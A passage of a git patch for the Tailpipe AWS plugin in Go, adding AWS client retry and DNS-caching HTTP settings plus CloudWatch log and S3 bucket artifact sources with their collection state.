rand.New(rand.NewSource(time.Now().UnixNano())) + o.MaxAttempts = maxRetries + o.MaxBackoff = 5 * time.Minute + o.RateLimiter = NoOpRateLimit{} // With no rate limiter + o.Backoff = NewExponentialJitterBackoff(minRetryDelay, maxRetries) + }) + cfg.Retryer = func() aws.Retryer { + // UnknownError is the code returned for a 408 from the aws go sdk, these can be frequent on large accounts especially around SNS Topics, etc. + additionalErrors := []string{"UnknownError"} + return retry.AddWithErrorCodes(retryer, additionalErrors...) + } + + // custom endpoint + endpointUrl := getConfigOrEnv(c.EndpointUrl, "AWS_ENDPOINT_URL") + if endpointUrl != "" { + customResolver := aws.EndpointResolverWithOptionsFunc(func(service, region string, options ...interface{}) (aws.Endpoint, error) { + return aws.Endpoint{ + PartitionID: "aws", + URL: endpointUrl, + SigningRegion: region, + }, nil + }) + newCfg, err := config.LoadDefaultConfig(ctx, config.WithEndpointResolverWithOptions(customResolver)) + if err != nil { + return nil, fmt.Errorf("error loading AWS config with custom endpoint resolver: %w", err) + } + newCfg.Retryer = cfg.Retryer + newCfg.Region = cfg.Region + cfg = newCfg + } + + return &cfg, nil +} + +func (c *AwsConnection) getDefaultRegion() string { + if c.DefaultRegion != nil { + return *c.DefaultRegion + } + + for _, r := range c.Regions { + lastResort := awsLastResortRegionFromRegionWildcard(r) + if lastResort != "" { + return lastResort + } + } + + // ultimate fallback is to default to most common region + return "us-east-1" +} + +// Helper function to get value from Config or environment variable +func getConfigOrEnv(configValue *string, env string) string { + if configValue != nil { + return *configValue + } + + return os.Getenv(env) +} + +func getConfigOrEnvInt(configValue *int, env string, defaultValue int) int { + if configValue != nil { + return *configValue + } + + return readEnvVarToInt(env, defaultValue) +} + +// ********************************************************************* // +// The below code is taken from Steampipe AWS SDK client initialization. // +// ********************************************************************* // + +// Initialize a single HTTP client that is optimized for Steampipe and shared +// across all AWS SDK clients. We have hundreds of AWS SDK clients (one per +// account region) that are all sharing this same HTTP client - creating shared +// caching and controls over parallelism. // -//type AwsConnection struct { -// Regions []string `hcl:"regions,optional"` -// DefaultRegion *string `hcl:"default_region"` -// Profile *string `hcl:"profile"` -// AccessKey *string `hcl:"access_key"` -// SecretKey *string `hcl:"secret_key"` -// SessionToken *string `hcl:"session_token"` -// MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` -// MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` -// IgnoreErrorCodes []string `hcl:"ignore_error_codes,optional"` -// EndpointUrl *string `hcl:"endpoint_url"` -// S3ForcePathStyle *bool `hcl:"s3_force_path_style"` -//} +// The AWS SDK defaults are good, but not great for our highly parallel use in +// Steampipe. Specific problems this client aims to solve: +// 1. DNS floods - performing thousands of simultaneous API calls creates a DNS +// lookup for each one (even if the same domain). This can overwhelm the DNS +// server and cause "no such host" errors. +// 2. HTTP connection floods - the AWS SDK defaults to no limit on the number of +// HTTP connections per host. Thousands of connections created simultaneously to +// the same host is hard on both the client and the target server. +// 3. DNS caching - Golang does not cache DNS lookups by default. We end up +// looking up the same host thousands of times both within a query and across +// queries. +func initializeHTTPClient() aws.HTTPClient { + + // DNS lookup floods are a real problem with highly parallel AWS SDK calls. Every + // API request leads to a DNS lookup by default (since Go doesn't cache them). We + // employ a DNS lookup cache, but we also need to limit the number of parallel DNS + // requests to avoid overwhelming the underlying DNS server. For example, listing + // S3 buckets will create 2 DNS lookup requests per bucket which is a lot of + // pressure on the DNS layer of your network. + // This setting will limit the number of parallel DNS lookups. An appropriate setting + // depends on the capabilities of your DNS server. The default is 25, which is low + // enough for a Macbook M1 to work without "no such host" errors when using the cgo + // network stack. It's high enough to work great in most cases, except maybe massive + // S3 bucket listing (which is rare). Notably on the same Macbook M1, when the plugin + // is compiled using netgo (our default on Mac) DNS lookups will succeed with virtually + // no upper limit on this setting. So, bottom line, 25 is a guess to try and ensure + // it works reliably and optimally enough. + dnsLookupMaxParallel := readEnvVarToInt("TAILPIPE_AWS_DNS_LOOKUP_MAX_PARALLEL", 25) + + // The DNS cache will be refreshed at this interval. A refresh means that + // any unused entries are removed and any entries that were used since the + // last refresh will be re-looked up to ensure they are current. + // This setting should be large enough to get the benefit of caching and short + // enough to prevent stale entries from being used for too long. + // Set to 0 to disable the refresh completely (not a good idea). + // Set to -1 to disable the DNS cache completely (the AWS default). + dnsCacheRefreshIntervalSecs := readEnvVarToInt("TAILPIPE_AWS_DNS_CACHE_REFRESH_INTERVAL_SECS", 300) + + // This is the maximum number of HTTPS API connections used for each host + // (e.g. iam.amazonaws.com). We want a number that is high enough to do a + // lot of parallel work, but not so high that we have an excess number of + // sockets open. + // There is a trade off here. Tables like S3 have a lot of hosts - i.e. two + // per bucket (one for the central region to get the creation time and one + // for the actual bucket region), while services like IAM use a single host + // for all queries. + // Set to 0 to remove the limit (which is the AWS SDK default). + httpTransportMaxConnsPerHost := readEnvVarToInt("TAILPIPE_AWS_HTTP_TRANSPORT_MAX_CONNS_PER_HOST", 5000) + + // Our DNS resolver should automatically refresh itself on this schedule. + var resolver = &dnscache.Resolver{} + if dnsCacheRefreshIntervalSecs > 0 { + go func() { + t := time.NewTicker(time.Duration(dnsCacheRefreshIntervalSecs) * time.Second) + defer t.Stop() + for range t.C { + resolver.Refresh(true) + } + }() + } + + // The AWS SDK has a special "buildable" HTTP client so it can be combined + // with specific options such as custom certificate bundles. It matches the + // interface of a HTTPClient, but has specific approaches for setting + // transport options etc. Our goal is to use the default AWS settings (e.g. + // timeouts, etc) as much as possible and just override the specific + // behavior of parallelism for DNS lookups and HTTP requests. + client := awshttp.NewBuildableClient() + + // Limit the max connections per host, but only if set. The AWS SDK default + // is no limit. + if httpTransportMaxConnsPerHost > 0 { + client = client.WithTransportOptions(func(tr *http.Transport) { + tr.MaxConnsPerHost = httpTransportMaxConnsPerHost + }) + } + + // Use a DNS cache if it's set, otherwise we just avoid changing the dialer behavior + // of the AWS HTTP client. + if dnsCacheRefreshIntervalSecs >= 0 { + + // A semaphore is used to control the number of parallel DNS lookups. + sem := semaphore.NewWeighted(int64(dnsLookupMaxParallel)) + + // A dialer for testing connections + dialer := client.GetDialer() + + client = client.WithTransportOptions(func(tr *http.Transport) { + tr.DialContext = func(ctx context.Context, network string, addr string) (conn net.Conn, err error) { + + host, port, err := net.SplitHostPort(addr) + if err != nil { + return nil, err + } + + // Acquire a semaphore slot, blocking until one is available. + if err := sem.Acquire(ctx, 1); err != nil { + return nil, err + } + + // Actually resolve the host, using a cached result if possible. + // Returns an array of IPs for the host. + ips, err := resolver.LookupHost(ctx, host) + + // Release the semaphore, even if there was an error. + sem.Release(1) + + // If there was an error during lookup, we give up immediately. + if err != nil { + return nil, err + } + + // Now, look through the IP addresses until we manage to create a good connection. + // This is less optimal than the parallelized native golang approach, but good + // enough and much simpler. Comparison - https://cs.opensource.google/go/go/+/refs/tags/go1.21.5:src/net/dial.go;l=454-507 + for _, ip := range ips { + conn, err = dialer.DialContext(ctx, network, net.JoinHostPort(ip, port)) + if err == nil { + break + } + } + + return + } + }) + } + + return client +} + +var sharedHTTPClient = initializeHTTPClient() + +// Helper function for integer based environment variables. +func readEnvVarToInt(name string, defaultVal int) int { + val := defaultVal + envValue := os.Getenv(name) + if envValue != "" { + i, err := strconv.Atoi(envValue) + if err == nil { + val = i + } + } + return val +} + +// Given a region (including wildcards), guess at the best last resort region +// based on the partition. Examples: // -//func (c *AwsConnection) Validate() error { -// return nil -//} +// us-gov-* -> us-gov-west-1 +// cn* -> cn-northwest-1 +// us-west-2 -> us-east-1 +// * -> us-east-1 +// crap -> "" +func awsLastResortRegionFromRegionWildcard(regionWildcard string) string { + + // Check prefixes for obscure partitions + if strings.HasPrefix(regionWildcard, "us-gov") { + return "us-gov-west-1" + } else if strings.HasPrefix(regionWildcard, "cn") { + return "cn-northwest-1" + } else if strings.HasPrefix(regionWildcard, "us-isob") { + return "us-isob-east-1" + } else if strings.HasPrefix(regionWildcard, "us-iso") { + return "us-iso-east-1" + } + + // Check if the prefix is for a commercial region. + // Must be done after obscure partitions, because they have the same + // prefixes but longer. + for _, prefix := range awsCommercialRegionPrefixes() { + if strings.HasPrefix(regionWildcard, prefix) { + return "us-east-1" + } + } + + // Unknown partition + return "" +} + +// +// AWS STANDARD REGIONS +// +// Source: https://docs.aws.amazon.com/general/latest/gr/rande.html#regional-endpoints +// +// Maintain a hard coded list of regions to use when API calls to the region +// list endpoint are not possible. This list must be updated manually as new +// regions are announced. +// + +func awsCommercialRegionPrefixes() []string { + return []string{ + "af", + "ap", + "ca", + "eu", + "me", + "sa", + "us", + } +} + +// NoOpRateLimit https://github.com/aws/aws-sdk-go-v2/issues/543 +type NoOpRateLimit struct{} + +func (NoOpRateLimit) AddTokens(uint) error { return nil } +func (NoOpRateLimit) GetToken(context.Context, uint) (func() error, error) { + return noOpToken, nil +} +func noOpToken() error { return nil } + +// ExponentialJitterBackoff provides backoff delays with jitter based on the +// number of attempts. +type ExponentialJitterBackoff struct { + minDelay time.Duration + maxBackoffAttempts int +} + +// NewExponentialJitterBackoff returns an ExponentialJitterBackoff configured +// for the max backoff. +func NewExponentialJitterBackoff(minDelay time.Duration, maxAttempts int) *ExponentialJitterBackoff { + return &ExponentialJitterBackoff{minDelay, maxAttempts} +} + +// BackoffDelay returns the duration to wait before the next attempt should be +// made. Returns an error if unable get a duration. +func (j *ExponentialJitterBackoff) BackoffDelay(attempt int, err error) (time.Duration, error) { + minDelay := j.minDelay + + // The calculated jitter will be between [0.8, 1.2) + var jitter = float64(rand.Intn(120-80)+80) / 100 + + retryTime := time.Duration(int(float64(int(minDelay.Nanoseconds())*int(math.Pow(3, float64(attempt)))) * jitter)) + + // Cap retry time at 5 minutes to avoid too long a wait + if retryTime > (5 * time.Minute) { + retryTime = time.Duration(5 * time.Minute) + } + + // Low level method to log retries since we don't have context etc here. + // Logging is helpful for visibility into retries and choke points in using + // the API. + slog.Info("BackoffDelay:", "attempt", attempt, "retry_time", retryTime.String(), "error", err) + + return retryTime, nil +} diff --git a/sources/aws_cloudwatch_collection_state.go b/sources/aws_cloudwatch_collection_state.go new file mode 100644 index 00000000..da8eb396 --- /dev/null +++ b/sources/aws_cloudwatch_collection_state.go @@ -0,0 +1,42 @@ +package sources + +import ( + "github.com/turbot/tailpipe-plugin-sdk/collection_state" +) + +// AwsCloudwatchCollectionState contains collection state data for the AwsCloudwatchSource artifact source +// This contains the latest timestamp fetched for each log stream in a SINGLE log group +type AwsCloudwatchCollectionState struct { + collection_state.CollectionStateBase + // The timestamp of the last collected log for each log stream + // expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC. + Timestamps map[string]int64 `json:"timestamps"` +} + +func NewAwsCloudwatchCollectionState() collection_state.CollectionState[*AwsCloudWatchSourceConfig] { + return &AwsCloudwatchCollectionState{ + Timestamps: make(map[string]int64), + } +} + +func (s *AwsCloudwatchCollectionState) Init(*AwsCloudWatchSourceConfig) error { + return nil +} + +// Upsert adds new/updates an existing log stream with its current timestamp +func (s *AwsCloudwatchCollectionState) Upsert(name string, time int64) { + s.Mut.Lock() + defer s.Mut.Unlock() + + if s.Timestamps == nil { + s.Timestamps = make(map[string]int64) + } + if time == 0 { + return + } + s.Timestamps[name] = time +} + +func (s *AwsCloudwatchCollectionState) IsEmpty() bool { + return len(s.Timestamps) == 0 +} diff --git a/sources/aws_cloudwatch_source.go b/sources/aws_cloudwatch_source.go new file mode 100644 index 00000000..96ea8d5b --- /dev/null +++ b/sources/aws_cloudwatch_source.go @@ -0,0 +1,258 @@ +package sources + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + "os" + "path" + "path/filepath" + + "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" + cloudwatchtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" + + typehelpers "github.com/turbot/go-kit/types" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/config_data" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/rate_limiter" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +const AwsCloudwatchSourceIdentifier = "aws_cloudwatch" + +// register the source from the package init function +func init() { + row_source.RegisterRowSource[*AwsCloudWatchSource]() +} + +// AwsCloudWatchSource is a [ArtifactSource] implementation that reads logs from AWS CloudWatch +// and writes them to a temp JSON file +type AwsCloudWatchSource struct { + artifact_source.ArtifactSourceImpl[*AwsCloudWatchSourceConfig, *config.AwsConnection] + + client *cloudwatchlogs.Client + limiter *rate_limiter.APILimiter +} + +func (s *AwsCloudWatchSource) Init(ctx context.Context, configData config_data.ConfigData, connectionData config_data.ConfigData, opts ...row_source.RowSourceOption) error { + + // set the collection state func to the cloudwatch specific collection state + s.NewCollectionStateFunc = NewAwsCloudwatchCollectionState + + // call base to parse config and apply options + if err := s.ArtifactSourceImpl.Init(ctx, configData, connectionData, opts...); err != nil { + return err + } + + s.TmpDir = path.Join(artifact_source.BaseTmpDir, fmt.Sprintf("cloudwatch-%s", s.Config.LogGroupName)) + + // initialize client + client, err := s.getClient(ctx) + if err != nil { + return err + } + s.client = client + + // TODO NEEDED? https://github.com/turbot/tailpipe-plugin-sdk/issues/6 + s.limiter = rate_limiter.NewAPILimiter(&rate_limiter.Definition{ + Name: "cloudwatch_limiter", + FillRate: 5, + BucketSize: 5, + }) + + return nil +} + +func (s *AwsCloudWatchSource) Identifier() string { + return AwsCloudwatchSourceIdentifier +} + +// Close deletes the temp directory and all files +func (s *AwsCloudWatchSource) Close() error { + // delete the temp dir and all files + return os.RemoveAll(s.TmpDir) +} + +// DiscoverArtifacts gets the log streams for the configured log group and log stream prefix, +// within the configured time range, and respecting the time range in the collection state data +func (s *AwsCloudWatchSource) DiscoverArtifacts(ctx context.Context) error { + collectionState, _ := s.CollectionState.(*AwsCloudwatchCollectionState) + + input := &cloudwatchlogs.DescribeLogStreamsInput{ + LogGroupName: &s.Config.LogGroupName, + // // set prefix (this may be nil) + LogStreamNamePrefix: s.Config.LogStreamPrefix, + } + + paginator := cloudwatchlogs.NewDescribeLogStreamsPaginator(s.client, input) + + var activeCount, inactiveCount int + for paginator.HasMorePages() { + output, err := paginator.NextPage(ctx) + if err != nil { + // Handle error + return fmt.Errorf("failed to get log streams, %w", err) + } + + for _, logStream := range output.LogStreams { + streamName := typehelpers.SafeString(logStream.LogStreamName) + + // get the time range of interest for this stream, + startTime, endTime := s.getTimeRange(streamName, collectionState) + // does this stream have entries within this time range + if !logStreamNameWithinTimeRange(logStream, startTime, endTime) { + inactiveCount++ + continue + } + activeCount++ + + // populate enrichment fields the the source is aware of + // - in this case the source type and name + // TODO #enrich check these https://github.com/turbot/tailpipe-plugin-sdk/issues/7 + sourceEnrichmentFields := &enrichment.CommonFields{ + TpSourceType: "cloudwatch", + TpSourceName: &streamName, + } + + // TODO #error handle rate limiting errors + info := types.NewArtifactInfo(streamName, types.WithEnrichmentFields(sourceEnrichmentFields)) + // handle the artifact discovery - trigger a download and notify observers + if err = s.OnArtifactDiscovered(ctx, info); err != nil { + // TODO #error - should we return an error here or gather all errors? + return fmt.Errorf("failed to notify observers of discovered artifact, %w", err) + } + } + } + slog.Info("DiscoverArtifacts - log streams discovered", "active", activeCount, "inactive", inactiveCount) + return nil +} + +func logStreamNameWithinTimeRange(logStream cloudwatchtypes.LogStream, startTime, endTime int64) bool { + if logStream.LastIngestionTime == nil || logStream.FirstEventTimestamp == nil { + return false + } + return *logStream.LastIngestionTime > startTime && *logStream.FirstEventTimestamp < endTime +} + +// DownloadArtifact gets the log events for the specified log stream, +// respecting the time range in the config and collection state data +func (s *AwsCloudWatchSource) DownloadArtifact(ctx context.Context, info *types.ArtifactInfo) error { + // get the collection state data + collectionState, _ := s.CollectionState.(*AwsCloudwatchCollectionState) + + // get the time range for the log stream + startTime, endTime := s.getTimeRange(info.Name, collectionState) + // if start time is after the end time, return + if startTime >= endTime { + slog.Info("DownloadArtifact - log stream already downloaded", "log stream", info.Name) + return nil + } + + input := &cloudwatchlogs.GetLogEventsInput{ + LogGroupName: &s.Config.LogGroupName, + LogStreamName: &info.Name, + StartTime: &startTime, + EndTime: &endTime, + } + + // copy the object data to a temp file + localFilePath := path.Join(s.TmpDir, fmt.Sprintf("%s.json", info.Name)) + // ensure the directory exists of the file to write to + if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { + return fmt.Errorf("failed to create directory for file, %w", err) + } + + // Create a local file to write the data to + outFile, err := os.Create(localFilePath) + if err != nil { + return fmt.Errorf("failed to create file, %w", err) + } + defer outFile.Close() + // create an encoder to write the events to the file + enc := json.NewEncoder(outFile) + + // keep track of the max time for the collection state data + var maxTime int64 + // event count + var count int + + paginator := cloudwatchlogs.NewGetLogEventsPaginator(s.client, input) + var previousToken *string + for paginator.HasMorePages() { + // apply rate limiter + //if err := s.limiter.Wait(ctx); err != nil { + // return fmt.Errorf("error acquiring rate limiter: %w", err) + //} + output, err := paginator.NextPage(ctx) + if err != nil { + return fmt.Errorf("failed to get log events, %w", err) + } + + for _, event := range output.Events { + count++ + ts := *event.Timestamp + slog.Debug("DownloadArtifact - writing event to file", "artifact", info.Name, "ts", *event.Timestamp, "maxTime", maxTime) + // update the max time + if ts > maxTime { + maxTime = *event.Timestamp + } + // write the message field to the file + if err := enc.Encode(event.Message); err != nil { + return fmt.Errorf("failed to write event to file, %w", err) + } + } + + // Break the loop if the NextToken hasn't changed, indicating all data has been fetched + if previousToken != nil && output.NextForwardToken != nil && *previousToken == *output.NextForwardToken { + slog.Debug("DownloadArtifact - NextForwardToken is same as previous NextForwardToken - all data fetched", "log stream", info.Name) + break + } + previousToken = output.NextForwardToken + } + + // if no events were found, delete the file and return + if count == 0 { + fileErr := os.Remove(localFilePath) + if fileErr != nil { + slog.Warn("DownloadArtifact - no events found, failed to delete file", "artifact", info.Name, "file", localFilePath, "error", fileErr) + return fmt.Errorf("no events found, failed to delete file, %w", fileErr) + } + return nil + } + + // notify observers of the discovered artifact + downloadInfo := types.NewArtifactInfo(localFilePath) + + // update collection state data for this log stream + collectionState.Upsert(info.Name, maxTime) + + return s.OnArtifactDownloaded(ctx, downloadInfo) +} + +// use the collection state data (if present) and the configured time range to determine the start and end time +func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *AwsCloudwatchCollectionState) (int64, int64) { + startTime := s.Config.StartTime.UnixMilli() + endTime := s.Config.EndTime.UnixMilli() + + if collectionState != nil { + // set start time from collection state data if present + if prevTimestamp, ok := collectionState.Timestamps[logStream]; ok { + startTime = prevTimestamp + 1 + } + } + return startTime, endTime +} + +func (s *AwsCloudWatchSource) getClient(ctx context.Context) (*cloudwatchlogs.Client, error) { + cfg, err := s.Connection.GetClientConfiguration(ctx, nil) + if err != nil { + return nil, fmt.Errorf("failed to get client configuration, %w", err) + } + + client := cloudwatchlogs.NewFromConfig(*cfg) + return client, nil +} diff --git a/sources/aws_cloudwatch_source_config.go b/sources/aws_cloudwatch_source_config.go new file mode 100644 index 00000000..b93d4142 --- /dev/null +++ b/sources/aws_cloudwatch_source_config.go @@ -0,0 +1,57 @@ +package sources + +import ( + "fmt" + "time" + + "github.com/hashicorp/hcl/v2" + + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" +) + +// AwsCloudWatchSourceConfig is the configuration for an [AwsCloudWatchSource] +type AwsCloudWatchSourceConfig struct { + artifact_source_config.ArtifactSourceConfigBase + // required to allow partial decoding + Remain hcl.Body `hcl:",remain" json:"-"` + + // the log group to collect + LogGroupName string `hcl:"log_group_name"` + // collect log streams with this prefix the log stream prefix + LogStreamPrefix *string `hcl:"log_stream_prefix"` + // the time range to collect for + StartTimeString string `hcl:"start_time"` + EndTimeString string `hcl:"end_time"` + StartTime time.Time + EndTime time.Time +} + +func (c *AwsCloudWatchSourceConfig) Validate() error { + // parse start and end time + if c.StartTimeString == "" { + return fmt.Errorf("start_time is required") + } + startTime, err := time.Parse(time.RFC3339, c.StartTimeString) + if err != nil { + return fmt.Errorf("invalid start_time: %v", err) + } + c.StartTime = startTime + if c.EndTimeString == "" { + return fmt.Errorf("end_time is required") + + } + endTime, err := time.Parse(time.RFC3339, c.EndTimeString) + if err != nil { + return fmt.Errorf("invalid end_time: %v", err) + } + c.EndTime = endTime + if c.StartTime.After(c.EndTime) { + return fmt.Errorf("start_time must be before end_time") + } + + return c.ArtifactSourceConfigBase.Validate() +} + +func (c *AwsCloudWatchSourceConfig) Identifier() string { + return AwsCloudwatchSourceIdentifier +} diff --git a/sources/aws_s3_bucket_source.go b/sources/aws_s3_bucket_source.go new file mode 100644 index 00000000..4b9b96f9 --- /dev/null +++ b/sources/aws_s3_bucket_source.go @@ -0,0 +1,220 @@ +package sources + +import ( + "context" + "fmt" + "io" + "log/slog" + "os" + "path" + "path/filepath" + "strings" + + "github.com/aws/aws-sdk-go-v2/service/s3" + + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/config_data" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +const ( + AwsS3BucketSourceIdentifier = "aws_s3_bucket" + defaultBucketRegion = "us-east-1" +) + +// register the source from the package init function +func init() { + row_source.RegisterRowSource[*AwsS3BucketSource]() +} + +// AwsS3BucketSource is a [ArtifactSource] implementation that reads artifacts from an S3 bucket +type AwsS3BucketSource struct { + artifact_source.ArtifactSourceImpl[*AwsS3BucketSourceConfig, *config.AwsConnection] + + Extensions types.ExtensionLookup + client *s3.Client +} + +func (s *AwsS3BucketSource) Init(ctx context.Context, configData config_data.ConfigData, connectionData config_data.ConfigData, opts ...row_source.RowSourceOption) error { + slog.Info("Initializing AwsS3BucketSource") + + // set the collection state func to the S3 specific collection state + s.NewCollectionStateFunc = NewAwsS3CollectionState + + // call base to parse config and apply options + if err := s.ArtifactSourceImpl.Init(ctx, configData, connectionData, opts...); err != nil { + return err + } + + s.Extensions = types.NewExtensionLookup(s.Config.Extensions) + s.TmpDir = path.Join(artifact_source.BaseTmpDir, fmt.Sprintf("s3-%s", s.Config.Bucket)) + + if s.Config.Region == nil { + slog.Info("No region set, using default", "region", defaultBucketRegion) + s.Config.Region = utils.ToStringPointer(defaultBucketRegion) + } + // initialize client + client, err := s.getClient(ctx) + if err != nil { + return err + } + s.client = client + + slog.Info("Initialized AwsS3BucketSource", "bucket", s.Config.Bucket, "prefix", s.Config.Prefix, "extensions", s.Extensions) + + return err +} + +func (s *AwsS3BucketSource) Identifier() string { + return AwsS3BucketSourceIdentifier +} + +func (s *AwsS3BucketSource) Close() error { + return os.RemoveAll(s.TmpDir) +} + +func (s *AwsS3BucketSource) ValidateConfig() error { + if s.Config.Bucket == "" { + return fmt.Errorf("bucket is required and cannot be empty") + } + + // Check format of extensions + var invalidExtensions []string + for _, e := range s.Config.Extensions { + if len(e) == 0 { + invalidExtensions = append(invalidExtensions, "") + } else if e[0] != '.' { + invalidExtensions = append(invalidExtensions, e) + } + } + if len(invalidExtensions) > 0 { + return fmt.Errorf("invalid extensions: %s", strings.Join(invalidExtensions, ",")) + } + + return nil +} + +func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { + // cast the collection state to the correct type + collectionState := s.CollectionState.(*AwsS3CollectionState) + // verify this is initialized (i.e. the regex has been created) + if collectionState == nil || !collectionState.Initialized() { + return fmt.Errorf("collection state not initialized") + } + + startAfterKey := s.Config.StartAfterKey + if collectionState.UseStartAfterKey { + startAfterKey = collectionState.StartAfterKey + } + + paginator := s3.NewListObjectsV2Paginator(s.client, &s3.ListObjectsV2Input{ + Bucket: &s.Config.Bucket, + Prefix: &s.Config.Prefix, + StartAfter: startAfterKey, + }) + + for paginator.HasMorePages() { + output, err := paginator.NextPage(ctx) + if err != nil { + return fmt.Errorf("failed to get page of S3 objects, %w", err) + } + for _, object := range output.Contents { + path := *object.Key + + // check the extension + if s.Extensions.IsValid(path) { + // populate enrichment fields the source is aware of + // - in this case the source location + sourceEnrichmentFields := &enrichment.CommonFields{ + TpSourceType: AwsS3BucketSourceIdentifier, + TpSourceName: &s.Config.Bucket, + TpSourceLocation: &path, + } + + info := types.NewArtifactInfo(path, types.WithEnrichmentFields(sourceEnrichmentFields)) + + // extract properties based on the filename + var extractedProperties map[string]string + extractedProperties, err = collectionState.ParseFilename(path) + if err != nil { + // TODO #error #paging what??? download anyway??? + continue + } + info.SetPathProperties(extractedProperties) + + if !collectionState.ShouldCollect(info) { + continue + } + + // notify observers of the discovered artifact + if err = s.OnArtifactDiscovered(ctx, info); err != nil { + // TODO #error should we continue or fail? + return fmt.Errorf("failed to notify observers of discovered artifact, %w", err) + } + } + } + } + + return nil +} + +func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.ArtifactInfo) error { + collectionState := s.CollectionState.(*AwsS3CollectionState) + + // Get the object from S3 + getObjectOutput, err := s.client.GetObject(ctx, &s3.GetObjectInput{ + Bucket: &s.Config.Bucket, + Key: &info.Name, + }) + if err != nil { + return fmt.Errorf("failed to download artifact, %w", err) + } + defer getObjectOutput.Body.Close() + + // copy the object data to a temp file + localFilePath := path.Join(s.TmpDir, info.Name) + // ensure the directory exists of the file to write to + if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { + return fmt.Errorf("failed to create directory for file, %w", err) + } + + // Create a local file to write the data to + outFile, err := os.Create(localFilePath) + if err != nil { + return fmt.Errorf("failed to create file, %w", err) + } + defer outFile.Close() + + // Write the data to the local file + _, err = io.Copy(outFile, getObjectOutput.Body) + if err != nil { + return fmt.Errorf("failed to write data to file, %w", err) + } + + // notify observers of the discovered artifact + downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name, EnrichmentFields: info.EnrichmentFields} + + // update the collection state + collectionState.Upsert(info) + return s.OnArtifactDownloaded(ctx, downloadInfo) +} + +func (s *AwsS3BucketSource) getClient(ctx context.Context) (*s3.Client, error) { + // get the client configuration + cfg, err := s.Connection.GetClientConfiguration(ctx, s.Config.Region) + if err != nil { + return nil, fmt.Errorf("unable to get client configuration, %w", err) + } + + if s.Connection.S3ForcePathStyle != nil { + return s3.NewFromConfig(*cfg, func(o *s3.Options) { + o.UsePathStyle = *s.Connection.S3ForcePathStyle + }), nil + } + + return s3.NewFromConfig(*cfg), nil +} diff --git a/sources/aws_s3_bucket_source_config.go b/sources/aws_s3_bucket_source_config.go new file mode 100644 index 00000000..c656aa0b --- /dev/null +++ b/sources/aws_s3_bucket_source_config.go @@ -0,0 +1,32 @@ +package sources + +import ( + "github.com/hashicorp/hcl/v2" + + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" +) + +// AwsS3BucketSourceConfig is the configuration for an [AwsS3BucketSource] +type AwsS3BucketSourceConfig struct { + artifact_source_config.ArtifactSourceConfigBase + // required to allow partial decoding + Remain hcl.Body `hcl:",remain" json:"-"` + + Bucket string `hcl:"bucket"` + Prefix string `hcl:"prefix"` + Extensions []string `hcl:"extensions"` + Region *string `hcl:"region"` + StartAfterKey *string `hcl:"start_after_key"` + + // TODO #config better naming + LexicographicalOrder bool `hcl:"lexicographical_order,optional"` +} + +func (c AwsS3BucketSourceConfig) Validate() error { + //TODO #config validate the config https://github.com/turbot/tailpipe-plugin-sdk/issues/9 + return nil +} + +func (AwsS3BucketSourceConfig) Identifier() string { + return AwsS3BucketSourceIdentifier +} diff --git a/sources/aws_s3_collection_state.go b/sources/aws_s3_collection_state.go new file mode 100644 index 00000000..6f72ea3b --- /dev/null +++ b/sources/aws_s3_collection_state.go @@ -0,0 +1,39 @@ +package sources + +import ( + "github.com/turbot/tailpipe-plugin-sdk/collection_state" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +// AwsS3CollectionState contains the collection state data for an AWS S3 Bucket artifact source +type AwsS3CollectionState struct { + collection_state.ArtifactCollectionState[*AwsS3BucketSourceConfig] + + StartAfterKey *string `json:"start_after_key,omitempty"` + UseStartAfterKey bool `json:"use_start_after_key"` +} + +func NewAwsS3CollectionState() collection_state.CollectionState[*AwsS3BucketSourceConfig] { + return &AwsS3CollectionState{} +} + +func (s *AwsS3CollectionState) Init(config *AwsS3BucketSourceConfig) error { + s.UseStartAfterKey = config.LexicographicalOrder + // call base init + return s.ArtifactCollectionState.Init(config) +} + +// IsEmpty returns true if the collection state is empty +func (s *AwsS3CollectionState) IsEmpty() bool { + return s.StartAfterKey == nil && s.StartTime.IsZero() +} + +// Upsert adds new/updates an existing object with its current metadata +// Note: the object name is the full path to the object +func (s *AwsS3CollectionState) Upsert(metadata *types.ArtifactInfo) { + s.ArtifactCollectionState.Upsert(metadata) + + if s.UseStartAfterKey { + s.StartAfterKey = &metadata.Name + } +} From 88cda2b206714fe1d2670521c9621c9d997130e7 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 27 Nov 2024 15:10:48 +0000 Subject: [PATCH 099/180] Extractor (#30) --------- Co-authored-by: kai --- extractors/cloudtrail_log_extractor.go | 48 ++++++++++++++ mappers/cloudtrail_log_mapper.go | 47 -------------- mappers/cost_usage_mapper.go | 88 ++++++++++++-------------- mappers/guardduty_mapper.go | 4 +- mappers/lambda_log_mapper.go | 6 +- mappers/securityhub_finding_mapper.go | 4 +- mappers/vpc_flow_log_mapper.go | 4 +- mappers/waf_mapper.go | 4 +- tables/cloudtrail_log_table.go | 8 ++- 9 files changed, 106 insertions(+), 107 deletions(-) create mode 100644 extractors/cloudtrail_log_extractor.go delete mode 100644 